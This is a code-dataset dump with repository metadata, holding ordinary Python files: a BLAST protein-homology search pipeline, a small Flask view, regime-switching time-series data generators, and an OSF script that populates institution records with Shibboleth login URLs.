blast_proteinID_dir = os.path.join(s["data_dir"], "blast", protein_name[:2])
if not os.path.exists(blast_proteinID_dir):
os.makedirs(blast_proteinID_dir)
output_file = os.path.join(s["data_dir"], "blast", protein_name[:2], protein_name + ".blast_result.xml")
#Save query data into task_list
task_list.append([protein_name, query, output_file, evalue, hitsize, overwrite_results, compress_results])
#Execute BLASTp online searches
if s["use_multiprocessing"]:
# number of processes is the number the settings, or the number of proteins, whichever is smallest
n_processes = s["multiprocessing_cores"] if s["multiprocessing_cores"] < len(task_list) else len(task_list)
#TODO adviseable to just use 8 threads or something due to calculation will be done online and client is just waiting
#TODO check NCBI BLAST API service how many tasks should be (are allowed to be) submitted in a second
#TODO side note: NCBI entrez has 5 per second without an account and 10 with an account for example
#Multithreaded execution
with Pool(processes=n_processes) as thread_controller:
thread_controller.map(BLAST_online_submission, task_list)
else:
#Sequential execution
for task in task_list:
BLAST_online_submission(task)
logging.info("~~~~~~~~~~~~ finished BLASTp search ~~~~~~~~~~~~")
def BLAST_online_submission(task):
"""Run a single BLASTp online search
Parameters
----------
task : array
List/array which contains the query data and the parameters for the BLAST search
Saved Files and Figures
-----------------------
PROTEIN_NAME.blast_result.xml : xml file containing BLASTp hits
(e.g. A2A2V5.blast_result.xml)
"""
#Obtain query and parameters
protein_name, query, output_file, evalue, hitsize, overwrite_results, compress_results = task
#IF overwrite existing results is FALSE
if not overwrite_results:
#check if compressed file exist and is not empty: IF yes return and don't execute BLASTp
if os.path.exists(output_file + ".gz") and os.path.getsize(output_file + ".gz") > 0:
#IF compress results is TURE -> return and don't execute BLASTp
if compress_results:
logging.info("Skipped BLASTp online search for protein:" + "\t" + protein_name)
return
#ELSE decompress file, return and don't execute BLASTp
else:
with gzip.open(output_file + ".gz", 'rb') as blast_result_in, open(output_file, 'wb') as blast_result_out:
blast_result_out.write(blast_result_in.read())
os.remove(output_file + ".gz")
logging.info("Skipped BLASTp online search for protein:" + "\t" + protein_name)
return
#check if non compressed file exist and is not empty:
if os.path.exists(output_file) and os.path.getsize(output_file) > 0:
#IF compress results is TURE -> compress the existing result file, return and don't execute BLASTp
if compress_results:
with open(output_file, "rb") as blast_result_in, gzip.open(output_file + ".gz", 'wb') as blast_result_out:
blast_result_out.writelines(blast_result_in)
os.remove(output_file)
logging.info("Skipped BLASTp online search for protein:" + "\t" + protein_name)
return
#ELSE: return and don't execute BLASTp
else:
logging.info("Skipped BLASTp online search for protein:" + "\t" + protein_name)
return
#ELSE remove existing results
else:
#remove raw results
if os.path.exists(output_file):
os.remove(output_file)
#remove compressed results
if os.path.exists(output_file + ".gz"):
os.remove(output_file + ".gz")
#Run BLASTp search
logging.info("Run BLASTp online search for protein:" + "\t" + protein_name)
blast_result = NCBIWWW.qblast("blastp", "nr", query, expect=evalue, hitlist_size=hitsize)
#Output results
#Write BLASTp result with a gzip compression into file
if compress_results:
with gzip.open(output_file + ".gz", 'wb') as blast_result_writer:
blast_result_writer.write(blast_result.read().encode('utf-8'))
#Write BLASTp result directly into file
else:
with open(output_file, "w") as blast_result_writer:
blast_result_writer.write(blast_result.read())
def run_BLAST_local(pathdict, s, logging):
"""From the list of proteins in csv format, begins local BLASTp searches for homologous proteins
Parameters
----------
pathdict : dict
Dictionary of the key paths and files associated with that List number.
s : dict
Settings dictionary extracted from excel settings file.
logging : logging.Logger
Logger for printing to console and logfile.
Saved Files and Figures
-----------------------
PROTEIN_NAME.blast_result.xml : xml file containing BLASTp hits
(e.g. A2A2V5.blast_result.xml)
"""
logging.info("~~~~~~~~~~~~ starting running BLASTp locally ~~~~~~~~~~~~")
#IF blast directory doesn't exist -> create blast directory in the data(base) directory
blast_dir = os.path.join(s["data_dir"], "blast")
if not os.path.exists(blast_dir):
os.makedirs(blast_dir)
#Obtain protein data frame
df = pd.read_csv(pathdict["list_csv"], sep = ",", quoting = csv.QUOTE_NONNUMERIC, index_col = 0)
#Obtain blast settings from the settings file
evalue = s["blast_Evalue"];
hitsize = s["blast_max_hits"]
database = s["BLAST_local_DB"]
overwrite_results = s["blast_overwrite_existing_results"]
compress_results = s["blast_compress_results"]
#preprocessing BLASTp execution by iterate over each protein
task_list = []
for acc in df.index:
#Variable initializations for current protein
protein_name = df.loc[acc, 'protein_name']
input_sequence = df.loc[acc, 'full_seq']
query = ">" + protein_name + "\n" + input_sequence + "\n"
#Initialize file system in database/blast directory
blast_proteinID_dir = os.path.join(s["data_dir"], "blast", protein_name[:2])
if not os.path.exists(blast_proteinID_dir):
os.makedirs(blast_proteinID_dir)
output_file = os.path.join(s["data_dir"], "blast", protein_name[:2], protein_name + ".blast_result.xml")
#Save query data into task_list
task_list.append([protein_name, query, output_file, evalue, hitsize, database, overwrite_results, compress_results])
#Execute BLASTp local searches
if s["use_multiprocessing"]:
# number of processes is the number the settings, or the number of proteins, whichever is smallest
n_processes = s["multiprocessing_cores"] if s["multiprocessing_cores"] < len(task_list) else len(task_list)
#Multithreaded execution
with Pool(processes=n_processes) as thread_controller:
thread_controller.map(BLAST_local_submission, task_list)
else:
#Sequential execution
for task in task_list:
BLAST_local_submission(task)
logging.info("~~~~~~~~~~~~ finished BLASTp search ~~~~~~~~~~~~")
def BLAST_local_submission(task):
"""Run a single BLASTp local search
Parameters
----------
task : array
List/array which contains the query data and the parameters for the BLAST search
Saved Files and Figures
-----------------------
PROTEIN_NAME.blast_result.xml : xml file containing BLASTp hits
(e.g. A2A2V5.blast_result.xml)
"""
#Obtain query and parameters
protein_name, query, output_file, evalue, hitsize, database, overwrite_results, compress_results = task
#IF overwrite existing results is FALSE
if not overwrite_results:
#check if compressed file exist and is not empty: IF yes return and don't execute BLASTp
if os.path.exists(output_file + ".gz") and os.path.getsize(output_file + ".gz") > 0:
#IF compress results is TURE -> return and don't execute BLASTp
if compress_results:
logging.info("Skipped BLASTp local search for protein:" + "\t" + protein_name)
return
#ELSE decompress file, return and don't execute BLASTp
else:
with gzip.open(output_file + ".gz", 'rb') as blast_result_in, open(output_file, 'wb') as blast_result_out:
blast_result_out.write(blast_result_in.read())
os.remove(output_file + ".gz")
logging.info("Skipped BLASTp local search for protein:" + "\t" + protein_name)
return
#check if non compressed file exist and is not empty:
if os.path.exists(output_file) and os.path.getsize(output_file) > 0:
#IF compress results is TURE -> compress the existing result file, return and don't execute BLASTp
if compress_results:
with open(output_file, "rb") as blast_result_in, gzip.open(output_file + ".gz", 'wb') as blast_result_out:
blast_result_out.writelines(blast_result_in)
os.remove(output_file)
logging.info("Skipped BLASTp local search for protein:" + "\t" + protein_name)
return
#ELSE: return and don't execute BLASTp
else:
logging.info("Skipped BLASTp local search for protein:" + "\t" + protein_name)
return
#ELSE remove existing results
else:
#remove raw results
if os.path.exists(output_file):
os.remove(output_file)
#remove compressed results
if os.path.exists(output_file + ".gz"):
os.remove(output_file + ".gz")
#Run BLASTp search
logging.info("Run BLASTp local search for protein:" + "\t" + protein_name)
blastp_cline = NcbiblastpCommandline(db=database, evalue=evalue, max_target_seqs=hitsize, outfmt=5, out=output_file)
out, err = blastp_cline(stdin=query)
#Exception handling of BLAST execution
if out or err:
logging.warning(out)
logging.warning(err)
#IF compress results is TURE -> compress the blast xml result file
if compress_results:
with open(output_file, "rb") as blast_result_in, gzip.open(output_file + ".gz", 'wb') as blast_result_out:
blast_result_out.writelines(blast_result_in)
os.remove(output_file)
| 42.990228
| 125
| 0.644719
| 1,680
| 13,198
| 4.9125
| 0.160119
| 0.048467
| 0.023264
| 0.015752
| 0.843936
| 0.840906
| 0.830001
| 0.825882
| 0.817763
| 0.802254
| 0
| 0.003982
| 0.257994
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| 306
| 126
| 43.130719
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| false
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0
| 7
|
6c05ca9f1f3c618ff2ce0b7b7f8252140cfc1007
| 191
|
py
|
Python
|
web/app/main/views.py
|
ec500-software-engineering/project-05-solar_wind_classification
|
887461eef98415e113b5df52c2ca89e1267d34c6
|
[
"MIT"
] | null | null | null |
web/app/main/views.py
|
ec500-software-engineering/project-05-solar_wind_classification
|
887461eef98415e113b5df52c2ca89e1267d34c6
|
[
"MIT"
] | null | null | null |
web/app/main/views.py
|
ec500-software-engineering/project-05-solar_wind_classification
|
887461eef98415e113b5df52c2ca89e1267d34c6
|
[
"MIT"
] | null | null | null |
from flask import render_template
# 导入蓝本 main
from . import main
@main.route('/')
def index():
return render_template('index.html')
# return render_template('uploaded_file.html')
| 15.916667
| 50
| 0.717277
| 25
| 191
| 5.32
| 0.56
| 0.315789
| 0.300752
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| 191
| 11
| 51
| 17.363636
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| 0
| 0.083969
| 0
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| true
| 0
| 0.4
| 0.2
| 0.8
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
6c4955b816a4b0d6df806930c5c95a5e1294f530
| 4,214
|
py
|
Python
|
project/notebooks/data_generation.py
|
NickHoernle/mit-bayesian-inference
|
29e2368d7f5c43bcfc4dd30b3cab110cc2e984fb
|
[
"MIT"
] | null | null | null |
project/notebooks/data_generation.py
|
NickHoernle/mit-bayesian-inference
|
29e2368d7f5c43bcfc4dd30b3cab110cc2e984fb
|
[
"MIT"
] | null | null | null |
project/notebooks/data_generation.py
|
NickHoernle/mit-bayesian-inference
|
29e2368d7f5c43bcfc4dd30b3cab110cc2e984fb
|
[
"MIT"
] | 1
|
2019-09-14T04:56:49.000Z
|
2019-09-14T04:56:49.000Z
|
#!/usr/bin/env python
'''
data_generation.py
Author: Nicholas Hoernle
Date: 25 April 2018
Generate data from a range of switching systems.
'''
import numpy as np
import scipy.stats as stats
def generate_data_1D(num_chains=2, length=1000, switch_prob=0.02, ar=1, **kwargs):
'''
num_chains: specify the number of regimes that are present in the data
length: length of the data
switch_prob: probability for switching
chain_params (optional): of length == num_chains, each chains params
'''
dim = 1
def fn1(A, sig):
if ar>1:
def fn(x):
return A[1]*x[0] + A[0]*x[1] + np.random.normal(0,sig)
else:
def fn(x):
return A*x + np.random.normal(0,np.sqrt(sig))
return fn
X = []
if "chain_params" in kwargs:
assert len(kwargs['chain_params']) == num_chains
for param in kwargs['chain_params']:
A, sig = param['A'], param['sigma']
X.append(fn1(A, sig))
elif "chain_gen_priors" in kwargs:
for i in range(num_chains):
A = np.random.beta(1, kwargs['chain_gen_priors'][0])
sig = np.random.gamma(1,kwargs['chain_gen_priors'][1])
X.append(lambda x: A*x + np.random.normal(0,sig))
return generate_data(X, dim, num_chains, length, switch_prob, ar=ar)
def generate_data_nD(dim, num_chains=2, length=1000, switch_prob=0.02, **kwargs):
'''
num_chains: specify the number of regimes that are present in the data
length: length of the data
switch_prob: probability for switching
chain_params (optional): of length == num_chains, each chains params
'''
def fn1(A, sig):
def fn(x):
scale = np.random.gamma(10,2)
return A.dot(x) + np.random.multivariate_normal(np.zeros(len(A)), sig)
return fn
X = []
if "chain_params" in kwargs:
assert len(kwargs['chain_params']) == num_chains
for param in kwargs['chain_params']:
A, sig = param['A'], param['sigma']
X.append(fn1(A, sig))
return generate_data(X, dim, num_chains, length, switch_prob)
def generate_data(X, dim, num_chains, length, switch_prob, ar=1):
ys = [np.zeros(dim)]
chains = []
chain = np.random.choice(np.arange(0,num_chains), p=np.ones(num_chains)/num_chains)
chains.append(chain)
if ar > 1:
ys.append(X[chain]([ys[-1], ys[-1]]))
else:
ys.append(X[chain](ys[-1]))
chains.append(chain)
for t in range(length-2):
if np.random.uniform(0,1) < 0.02:
options = list(range(0, num_chains))
del options[chain]
chain = np.random.choice(options)
if ar > 1:
ys.append(X[chain]([ys[-1], ys[-2]]))
else:
ys.append(X[chain](ys[-1]))
chains.append(chain)
return {
"chains": np.array(chains),
"Y": np.array(ys)
}
def generate_data_slsd(dim, R=0.01*np.eye(2), num_chains=2, length=1000, switch_prob=0.02, **kwargs):
def fn1(A, sig):
def fn(x):
scale = np.random.gamma(10,2)
return x.dot(A) + np.random.multivariate_normal(np.zeros(len(A)), sig)
return fn
X = []
if "chain_params" in kwargs:
assert len(kwargs['chain_params']) == num_chains
for param in kwargs['chain_params']:
A, sig = param['A'], param['sigma']
X.append(fn1(A, sig))
Xs = [np.zeros(dim)]
chains = []
chain = np.random.choice(np.arange(0,num_chains), p=np.ones(num_chains)/num_chains)
chains.append(chain)
ys = [stats.multivariate_normal(Xs[-1], R).rvs()]
for t in range(length-1):
if np.random.uniform(0,1) < 0.02:
options = list(range(0, num_chains))
del options[chain]
chain = np.random.choice(options)
Xs.append(X[chain](Xs[-1]))
ys.append(stats.multivariate_normal(Xs[-1], R).rvs())
chains.append(chain)
return {
"chains": np.array(chains),
"Y": np.array(ys)
}
| 30.316547
| 101
| 0.564784
| 604
| 4,214
| 3.839404
| 0.168874
| 0.085382
| 0.018111
| 0.032773
| 0.829668
| 0.778353
| 0.763691
| 0.737818
| 0.737818
| 0.723588
| 0
| 0.029896
| 0.293545
| 4,214
| 138
| 102
| 30.536232
| 0.749076
| 0.129331
| 0
| 0.677778
| 1
| 0
| 0.052121
| 0
| 0
| 0
| 0
| 0
| 0.033333
| 1
| 0.122222
| false
| 0
| 0.022222
| 0.022222
| 0.266667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6c81f53875d3badf4b1d43de57523b470cdab039
| 49
|
py
|
Python
|
lanfactory/trainers/__init__.py
|
AlexanderFengler/LANfactory
|
78570d488c64907ef7dcf2161581a03746d0e45b
|
[
"MIT"
] | 1
|
2021-07-15T03:49:28.000Z
|
2021-07-15T03:49:28.000Z
|
lanfactory/trainers/__init__.py
|
AlexanderFengler/LANfactory
|
78570d488c64907ef7dcf2161581a03746d0e45b
|
[
"MIT"
] | null | null | null |
lanfactory/trainers/__init__.py
|
AlexanderFengler/LANfactory
|
78570d488c64907ef7dcf2161581a03746d0e45b
|
[
"MIT"
] | null | null | null |
from .keras_mlp import *
from .torch_mlp import *
| 24.5
| 24
| 0.77551
| 8
| 49
| 4.5
| 0.625
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.142857
| 49
| 2
| 25
| 24.5
| 0.857143
| 0
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| true
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| null | 1
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| 0
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
6683023c4b96ff585e48418f3f65efe7a9fbaa99
| 20,133
|
py
|
Python
|
scripts/populate_institutions.py
|
DanielSBrown/osf.io
|
98dda2ac237377197acacce78274bc0a4ce8f303
|
[
"Apache-2.0"
] | null | null | null |
scripts/populate_institutions.py
|
DanielSBrown/osf.io
|
98dda2ac237377197acacce78274bc0a4ce8f303
|
[
"Apache-2.0"
] | null | null | null |
scripts/populate_institutions.py
|
DanielSBrown/osf.io
|
98dda2ac237377197acacce78274bc0a4ce8f303
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Populate development database with Institution fixtures."""
import logging
import sys
import urllib
from modularodm import Q
from framework.transactions.context import TokuTransaction
from website import settings
from website.app import init_app
from website.models import Institution, Node
from website.search.search import update_institution, update_node
logger = logging.getLogger(__name__)
logging.basicConfig(level=logging.INFO)
ENVS = ['prod', 'stage', 'stage2', 'test']
SHIBBOLETH_SP_LOGIN = '{}/Shibboleth.sso/Login?entityID={{}}'.format(settings.CAS_SERVER_URL)
SHIBBOLETH_SP_LOGOUT = '{}/Shibboleth.sso/Logout?return={{}}'.format(settings.CAS_SERVER_URL)
def encode_uri_component(val):
return urllib.quote(val, safe='~()*!.\'')
def update_or_create(inst_data):
inst = Institution.load(inst_data['_id'])
if inst:
for key, val in inst_data.iteritems():
setattr(inst.node, inst.attribute_map[key], val)
changed_fields = inst.node.save()
if changed_fields:
print('Updated {}: {}'.format(inst.name, changed_fields))
update_institution(inst)
return inst, False
else:
inst = Institution(None)
inst_data = {inst.attribute_map[k]: v for k, v in inst_data.iteritems()}
new_inst = Node(**inst_data)
new_inst.save()
inst = Institution.load(new_inst.institution_id)
print('Added new institution: {}'.format(new_inst.institution_id))
update_institution(inst)
return new_inst, True
def main(env):
INSTITUTIONS = []
if env == 'prod':
INSTITUTIONS = [
{
'_id': 'busara',
'name': 'Busara Center for Behavioral Economics',
'description': 'The <a href="http://www.busaracenter.org/">Busara Center</a> for Behavioral Economics',
'banner_name': 'busara-banner.png',
'logo_name': 'busara-shield.png',
'auth_url': None,
'logout_url': None,
'domains': [],
'email_domains': ['busaracenter.org'],
},
{
'_id': 'cos',
'name': 'Center For Open Science',
'description': 'COS is a non-profit technology company providing free and open services to increase inclusivity and transparency of research. Find out more at <a href="https://cos.io">cos.io</a>.',
'banner_name': 'cos-banner.png',
'logo_name': 'cos-shield.png',
'auth_url': None,
'logout_url': None,
'domains': ['osf.cos.io'],
'email_domains': ['cos.io'],
},
{
'_id': 'esip',
'name': 'Federation of Earth Science Information Partners (ESIP)',
'description': '<a href="http://www.esipfed.org/">ESIP\'s</a> mission is to support the networking and data dissemination needs of our members and the global Earth science data community by linking the functional sectors of observation, research, application, education and use of Earth science.',
'banner_name': 'esip-banner.png',
'logo_name': 'esip-shield.png',
'auth_url': None,
'logout_url': None,
'domains': [],
'email_domains': ['esipfed.org'],
},
{
'_id': 'ljaf',
'name': 'Laura and John Arnold Foundation',
'description': 'Projects listed below are for grants awarded by the Foundation. Please see the <a href="http://www.arnoldfoundation.org/wp-content/uploads/Guidelines-for-Investments-in-Research.pdf">LJAF Guidelines for Investments in Research</a> for more information and requirements.',
'banner_name': 'ljaf-banner.png',
'logo_name': 'ljaf-shield.png',
'auth_url': None,
'logout_url': None,
'domains': [],
'email_domains': ['arnoldfoundation.org'],
},
{
'_id': 'nd',
'name': 'University of Notre Dame',
'description': 'In <a href="https://research.nd.edu/news/64035-notre-dame-center-for-open-science-partner-to-advance-open-science-initiatives/">partnership</a> with the <a href="https://crc.nd.edu">Center for Research Computing</a>, <a href="http://esc.nd.edu">Engineering & Science Computing</a>, and the <a href="https://library.nd.edu">Hesburgh Libraries</a>',
'banner_name': 'nd-banner.png',
'logo_name': 'nd-shield.png',
'auth_url': SHIBBOLETH_SP_LOGIN.format(encode_uri_component('https://login.nd.edu/idp/shibboleth')),
'logout_url': SHIBBOLETH_SP_LOGOUT.format(encode_uri_component('https://osf.io/goodbye')),
'domains': ['osf.nd.edu'],
'email_domains': [],
},
{
'_id': 'nyu',
'name': 'New York University',
'description': '...',
'banner_name': 'nyu-banner.png',
'logo_name': 'nyu-shield.png',
'auth_url': SHIBBOLETH_SP_LOGIN.format(encode_uri_component('urn:mace:incommon:nyu.edu')),
'logout_url': SHIBBOLETH_SP_LOGOUT.format(encode_uri_component('https://shibboleth.nyu.edu/idp/profile/Logout')),
'domains': ['osf.nyu.edu'],
'email_domains': [],
},
{
'_id': 'ucr',
'name': 'University of California Riverside',
'description': 'Policy prohibits storing PII or HIPAA data on this site, please see C&C\'s <a href="http://cnc.ucr.edu/security/researchers.html">security site</a> for more information.',
'banner_name': 'ucr-banner.png',
'logo_name': 'ucr-shield.png',
'auth_url': SHIBBOLETH_SP_LOGIN.format(encode_uri_component('urn:mace:incommon:ucr.edu')),
'logout_url': SHIBBOLETH_SP_LOGOUT.format(encode_uri_component('https://osf.io/goodbye')),
'domains': ['osf.ucr.edu'],
'email_domains': [],
},
{
'_id': 'ugent',
'name': 'Universiteit Gent',
'description': None,
'banner_name': 'ugent-banner.png',
'logo_name': 'ugent-shield.png',
'auth_url': SHIBBOLETH_SP_LOGIN.format(encode_uri_component('https://identity.ugent.be/simplesaml/saml2/idp/metadata.php')),
'logout_url': SHIBBOLETH_SP_LOGOUT.format(encode_uri_component('https://osf.io/goodbye')),
'domains': ['osf.ugent.be'],
'email_domains': [],
},
{
'_id': 'usc',
'name': 'University of Southern California',
'description': 'Projects must abide by <a href="http://policy.usc.edu/info-security/">USC\'s Information Security Policy</a>. Data stored for human subject research repositories must abide by <a href="http://policy.usc.edu/biorepositories/">USC\'s Biorepository Policy</a>. The OSF may not be used for storage of Personal Health Information that is subject to <a href="http://policy.usc.edu/hipaa/">HIPPA regulations</a>.',
'banner_name': 'usc-banner.png',
'logo_name': 'usc-shield.png',
'auth_url': SHIBBOLETH_SP_LOGIN.format(encode_uri_component('urn:mace:incommon:usc.edu')),
'logout_url': SHIBBOLETH_SP_LOGOUT.format(encode_uri_component('https://osf.io/goodbye')),
'domains': ['osf.usc.edu'],
'email_domains': [],
},
{
'_id': 'uva',
'name': 'University of Virginia',
'description': 'Projects must abide by the University <a href="http://www.virginia.edu/informationpolicy/security.html">Security and Data Protection Policies</a>',
'banner_name': 'uva-banner.png',
'logo_name': 'uva-shield.png',
'auth_url': SHIBBOLETH_SP_LOGIN.format(encode_uri_component('urn:mace:incommon:virginia.edu')),
'logout_url': SHIBBOLETH_SP_LOGOUT.format(encode_uri_component('https://osf.io/goodbye')),
'domains': ['osf.virginia.edu'],
'email_domains': [],
},
{
'_id': 'vt',
'name': 'Virginia Tech',
'description': None,
'banner_name': 'vt-banner.png',
'logo_name': 'vt-shield.png',
'auth_url': SHIBBOLETH_SP_LOGIN.format(encode_uri_component('urn:mace:incommon:vt.edu')),
'logout_url': SHIBBOLETH_SP_LOGOUT.format(encode_uri_component('https://osf.io/goodbye')),
'domains': ['osf.vt.edu'],
'email_domains': [],
},
]
if env == 'stage':
INSTITUTIONS = [
{
'_id': 'cos',
'name': 'Center For Open Science [Stage]',
'description': 'Center for Open Science [Stage]',
'banner_name': 'cos-banner.png',
'logo_name': 'cos-shield.png',
'auth_url': None,
'logout_url': None,
'domains': ['staging-osf.cos.io'],
'email_domains': ['cos.io'],
},
{
'_id': 'nd',
'name': 'University of Notre Dame [Stage]',
'description': 'University of Notre Dame [Stage]',
'banner_name': 'nd-banner.png',
'logo_name': 'nd-shield.png',
'auth_url': SHIBBOLETH_SP_LOGIN.format(encode_uri_component('https://login-test.cc.nd.edu/idp/shibboleth')),
'logout_url': SHIBBOLETH_SP_LOGOUT.format(encode_uri_component('https://staging.osf.io/goodbye')),
'domains': ['staging-osf-nd.cos.io'],
'email_domains': [],
},
{
'_id': 'google',
'name': 'Google [Stage]',
'description': 'Google [Stage]',
'banner_name': 'google-banner.png',
'logo_name': 'google-shield.png',
'auth_url': None,
'logout_url': None,
'domains': [],
'email_domains': ['gmail.com'],
},
{
'_id': 'yahoo',
'name': 'Yahoo [Stage]',
'description': 'Yahoo [Stage]',
'banner_name': 'yahoo-banner.png',
'logo_name': 'yahoo-shield.png',
'auth_url': None,
'domains': [],
'email_domains': ['yahoo.com'],
},
]
if env == 'stage2':
INSTITUTIONS = [
{
'_id': 'cos',
'name': 'Center For Open Science [Stage2]',
'description': 'Center for Open Science [Stage2]',
'banner_name': 'cos-banner.png',
'logo_name': 'cos-shield.png',
'auth_url': None,
'logout_url': None,
'domains': ['staging2-osf.cos.io'],
'email_domains': ['cos.io'],
},
]
elif env == 'test':
INSTITUTIONS = [
{
'_id': 'busara',
'name': 'Busara Center for Behavioral Economics [Test]',
'description': 'The <a href="http://www.busaracenter.org/">Busara Center</a> for Behavioral Economics',
'banner_name': 'busara-banner.png',
'logo_name': 'busara-shield.png',
'auth_url': None,
'logout_url': None,
'domains': [],
'email_domains': ['busaracenter.org'],
},
{
'_id': 'cos',
'name': 'Center For Open Science [Test]',
'description': 'COS is a non-profit technology company providing free and open services to increase inclusivity and transparency of research. Find out more at <a href="https://cos.io">cos.io</a>.',
'banner_name': 'cos-banner.png',
'logo_name': 'cos-shield.png',
'auth_url': None,
'logout_url': None,
'domains': ['test-osf.cos.io'],
'email_domains': ['cos.io'],
},
{
'_id': 'esip',
'name': 'Federation of Earth Science Information Partners (ESIP) [Test]',
'description': '<a href="http://www.esipfed.org/">ESIP\'s</a> mission is to support the networking and data dissemination needs of our members and the global Earth science data community by linking the functional sectors of observation, research, application, education and use of Earth science.',
'banner_name': 'esip-banner.png',
'logo_name': 'esip-shield.png',
'auth_url': None,
'logout_url': None,
'domains': [],
'email_domains': ['esipfed.org'],
},
{
'_id': 'ljaf',
'name': 'Laura and John Arnold Foundation [Test]',
'description': 'Projects listed below are for grants awarded by the Foundation. Please see the <a href="http://www.arnoldfoundation.org/wp-content/uploads/Guidelines-for-Investments-in-Research.pdf">LJAF Guidelines for Investments in Research</a> for more information and requirements.',
'banner_name': 'ljaf-banner.png',
'logo_name': 'ljaf-shield.png',
'auth_url': None,
'logout_url': None,
'domains': [],
'email_domains': ['arnoldfoundation.org'],
},
{
'_id': 'nd',
'name': 'University of Notre Dame [Test]',
'description': 'In <a href="https://research.nd.edu/news/64035-notre-dame-center-for-open-science-partner-to-advance-open-science-initiatives/">partnership</a> with the <a href="https://crc.nd.edu">Center for Research Computing</a>, <a href="http://esc.nd.edu">Engineering & Science Computing</a>, and the <a href="https://library.nd.edu">Hesburgh Libraries</a>',
'banner_name': 'nd-banner.png',
'logo_name': 'nd-shield.png',
'auth_url': SHIBBOLETH_SP_LOGIN.format(encode_uri_component('https://login-test.cc.nd.edu/idp/shibboleth')),
'logout_url': SHIBBOLETH_SP_LOGOUT.format(encode_uri_component('https://test.osf.io/goodbye')),
'domains': ['test-osf-nd.cos.io'],
'email_domains': [],
},
{
'_id': 'nyu',
'name': 'New York University [Test]',
'description': 'New York University [Test]',
'banner_name': 'nyu-banner.png',
'logo_name': 'nyu-shield.png',
'auth_url': SHIBBOLETH_SP_LOGIN.format(encode_uri_component('https://shibbolethqa.es.its.nyu.edu/idp/shibboleth')),
'logout_url': SHIBBOLETH_SP_LOGOUT.format(encode_uri_component('https://shibbolethqa.es.its.nyu.edu/idp/profile/Logout')),
'domains': ['test-osf-nyu.cos.io'],
'email_domains': [],
},
{
'_id': 'ucr',
'name': 'University of California Riverside [Test]',
'description': 'Policy prohibits storing PII or HIPAA data on this site, please see C&C\'s <a href="http://cnc.ucr.edu/security/researchers.html">security site</a> for more information.',
'banner_name': 'ucr-banner.png',
'logo_name': 'ucr-shield.png',
'auth_url': SHIBBOLETH_SP_LOGIN.format(encode_uri_component('urn:mace:incommon:ucr.edu')),
'logout_url': SHIBBOLETH_SP_LOGOUT.format(encode_uri_component('https://test.osf.io/goodbye')),
'domains': ['test-osf-ucr.cos.io'],
'email_domains': [],
},
{
'_id': 'ugent',
'name': 'Universiteit Gent [Test]',
'description': 'Universiteit Gent [Test]',
'banner_name': 'ugent-banner.png',
'logo_name': 'ugent-shield.png',
'auth_url': SHIBBOLETH_SP_LOGIN.format(encode_uri_component('https://identity.ugent.be/simplesaml/saml2/idp/metadata.php')),
'logout_url': SHIBBOLETH_SP_LOGOUT.format(encode_uri_component('https://test.osf.io/goodbye')),
'domains': ['test-osf-ugent.cos.io'],
'email_domains': [],
},
{
'_id': 'usc',
'name': 'University of Southern California [Test]',
'description': 'Projects must abide by <a href="http://policy.usc.edu/info-security/">USC\'s Information Security Policy</a>. Data stored for human subject research repositories must abide by <a href="http://policy.usc.edu/biorepositories/">USC\'s Biorepository Policy</a>. The OSF may not be used for storage of Personal Health Information that is subject to <a href="http://policy.usc.edu/hipaa/">HIPPA regulations</a>.',
'banner_name': 'usc-banner.png',
'logo_name': 'usc-shield.png',
'auth_url': SHIBBOLETH_SP_LOGIN.format(encode_uri_component('urn:mace:incommon:usc.edu')),
'logout_url': SHIBBOLETH_SP_LOGOUT.format(encode_uri_component('https://test.osf.io/goodbye')),
'domains': ['test-osf-usc.cos.io'],
'email_domains': [],
},
{
'_id': 'uva',
'name': 'University of Virginia [Test]',
'description': 'Projects must abide by the University <a href="http://www.virginia.edu/informationpolicy/security.html">Security and Data Protection Policies</a>',
'banner_name': 'uva-banner.png',
'logo_name': 'uva-shield.png',
'auth_url': SHIBBOLETH_SP_LOGIN.format(encode_uri_component('https://shibidp-test.its.virginia.edu/idp/shibboleth')),
'logout_url': SHIBBOLETH_SP_LOGOUT.format(encode_uri_component('https://test.osf.io/goodbye')),
'domains': ['test-osf-virginia.cos.io'],
'email_domains': [],
},
{
'_id': 'vt',
'name': 'Virginia Tech [Test]',
'description': None,
'banner_name': 'vt-banner.png',
'logo_name': 'vt-shield.png',
'auth_url': SHIBBOLETH_SP_LOGIN.format(encode_uri_component('https://shib-pprd.middleware.vt.edu')),
'logout_url': SHIBBOLETH_SP_LOGOUT.format(encode_uri_component('https://test.osf.io/goodbye')),
'domains': ['osf.vt.edu'],
'email_domains': [],
},
]
init_app(routes=False)
with TokuTransaction():
for inst_data in INSTITUTIONS:
new_inst, inst_created = update_or_create(inst_data)
# update the nodes elastic docs, to have current names of institutions. This will
# only work properly if this file is the only thing changing institution attributes
if not inst_created:
nodes = Node.find_by_institutions(new_inst, query=Q('is_deleted', 'ne', True))
for node in nodes:
update_node(node, async=False)
for extra_inst in Institution.find(Q('_id', 'nin', [x['_id'] for x in INSTITUTIONS])):
logger.warn('Extra Institution : {} - {}'.format(extra_inst._id, extra_inst.name))
if __name__ == '__main__':
env = str(sys.argv[1]).lower() if len(sys.argv) == 2 else None
if env not in ENVS:
print('An environment must be specified : {}', ENVS)
sys.exit(1)
main(env)
| 52.56658
| 439
| 0.547708
| 2,173
| 20,133
| 4.914404
| 0.140819
| 0.035958
| 0.043543
| 0.067422
| 0.802697
| 0.776945
| 0.771608
| 0.750538
| 0.725536
| 0.691919
| 0
| 0.001506
| 0.307356
| 20,133
| 382
| 440
| 52.704188
| 0.764288
| 0.010133
| 0
| 0.493075
| 0
| 0.024931
| 0.429039
| 0.01601
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.024931
